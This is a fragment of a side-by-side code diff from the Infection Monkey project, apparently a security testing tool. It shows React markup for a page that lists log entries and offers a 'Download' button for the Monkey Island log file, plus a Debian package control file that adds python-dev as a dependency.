keys="name" <div className="data-table-container">
columns={columns} <DataTable
initialData={this.state.data} keys="name"
initialPageLength={20} columns={columns}
initialSortBy={{ prop: 'timestamp', order: 'descending' }} initialData={this.state.data}
pageLengthOptions={[ 20, 50, 100 ]} initialPageLength={20}
/> initialSortBy={{ prop: 'timestamp', order: 'descending' }}
</div> pageLengthOptions={[ 20, 50, 100 ]}
</Col> />
</div>
</Col>
</div>
<div>
<Col xs={12} lg={8}>
<h1 className="page-title"> Monkey Island Logs </h1>
<div className="text-center" style={{marginBottom: '20px'}}>
<p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p>
<Button bsSize="large" onClick={()=> {
this.downloadIslandLog();
}}>
<i className="glyphicon glyphicon-download"/> Download </Button>
</div>
</Col>
</div>
</div>
); );
} }
} }

View File

@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
Priority: optional Priority: optional
Version: 1.0 Version: 1.0
Description: Guardicore Infection Monkey Island installation package Description: Guardicore Infection Monkey Island installation package
Depends: openssl, python-pip Depends: openssl, python-pip, python-dev